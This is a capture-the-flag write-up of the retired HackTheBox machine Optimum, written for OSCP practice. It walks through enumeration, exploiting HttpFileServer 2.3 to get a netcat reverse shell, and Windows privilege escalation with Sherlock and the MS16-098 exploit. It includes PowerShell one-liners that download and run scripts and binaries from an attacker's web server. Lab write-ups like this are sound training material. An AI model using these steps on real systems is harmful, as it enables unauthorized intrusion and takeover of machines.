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Cover image for Writeup: HackTheBox Optimum- Without Metasploit (OSCP Prep)

Writeup: HackTheBox Optimum- Without Metasploit (OSCP Prep)

0xhuey profile image Chris 'Huey' S ・6 min read

Hello All!

Back again with another write up this time for Optimum from Hackthebox.

Difficulty level: Easy

As with all things I will start with a simple Nmap Scan

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Command:

Nmap -sC -sV -sT -T4 -O nmap.txt 10.10.10.8

So not a ton of information is gathered here. But I do see a port 80 is open.

Let's head over to the site to see what we can find here.

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So I inspected the page for awhile but didn't see anything too crazy here. Take note of the Server Information at the bottom HttpFileServer 2.3.

I am going to run Dirb to see if there are any hidden directories with this site.

Command:

dirb http://10.10.10.8/

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This runs for quite awhile but nothing seems to catch. So lets move on.

There appears to be a login section on the website so I am going to try admin:admin

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That was a fail. I tried some other variations too that didn't appear to work on the box and it kicked me off.

Let's turn to our trusted friend Google for some default creds maybe?

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It looks like you have to register to the Server to get access so no luck again.

Lets take a deeper look into what this system is.

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Basically its a File Server to send/receive files.

Heading back over to Google I am going to see if there are any exploits for this version and come across the following.

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Take a closer look here, because this is how we will run the exploit.

So to put it simple, we need to run a HTTP Server from where our NC.exe is located (or make a copy in the same folder).

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Copy this code either by using the copy button or highlighting it then paste it in your new file.

Command:

echo > exploit.py (since they named Exploit.py on their site want to keep the same convention)

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Command:

nano exploit.py

Now paste in the code into the new .py file and edit the IP and Port number to yours.

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Command:

chmod +x exploit.py

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Now open a new terminal and do the following.

Command:

locate nc.exe

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Command:

cp file/location .

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Now we will start a python webserver.

Command:

python -m SimpleHTTPServer

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Now set your Netcat listener to whatever port you have open. I also directed the IP here because it didn't work without it for some reason.

Command:

nc -nvlp 1234 10.10.10.8

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In the window where your exploit is sitting run the following command.

Command:

python exploit.py 10.10.10.8 80

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You may need to run this a few times to catch a shell.

But you should get the following!

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Command:

whoami

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There are a few file locations and I attempt to get access to Administrator but it looks like I don't have rights.

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Let's see if we can grab the user file.

Command:

type user.txt.txt

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So it looks like we need to do a privesc on this box to get the root flag.

Run the following to get a full readout of the box.

Command:

systeminfo

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Provides the OS name, Version, Manufac, Config as well as the got Fixies for the machine.

A hotfix or a quick-fix is a update to a bug or fault quickly.

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I started with Windows-exploit-suggestor.py but I couldn't get it to run. There seems to be some issues with py2 and migrating over to py3.

If you get this working with a workaround please ping me on twitter and tell me how you fixed it.

Another tool for looking for privesc is Sherlock.

Command:

git clone https://github.com/rasta-mouse/Sherlock.git

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Command:

cd Sherlock
Nano Sherlock.ps1

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Now put the following command at the bottom of the script.

Command:

Find All-Vulns

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Now we need to get this script onto our victim machine. Lets open back up the Python webserver to push it over.

Command:

python -m SimpleHTTPServer 80

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I cheated a little by checking out this quick Powershell cheatsheet on how to move this file over.

Link

Command:

powershell "IEX (New-Object Net.WebClient).DownloadString('http://X.X.X.X:80/Sherlock.ps1')"

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Now this should run to show a few potential MS's that we can use.

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From the list I am going to give MS16-032 a try and do a quick searchsploit to see if its there.

Command:

searchsploit MS16-032

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Going to try the 39719.ps1 one.

Command:

nano 39719.ps1

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When put in the next powershell script make sure to direct it to a actual file.

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I tried to run this a few times but it didn't work.

So I am going to head back over to Google for another way in. I came across MS16-098 that I would like to try.

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Let's grab this .exe file.

Command:

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe

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Command

chmod +x 41020.exe

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Command:

python -m SimpleHTTPServer 80

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Run the following code in your victim machine.

Command:

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.X.X:80/41020.exe', 'c:\Users\Public\Downloads\41020.exe')"

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Command:

whoami

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Command:

type root.txt

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And just like that you have now gained root level access!

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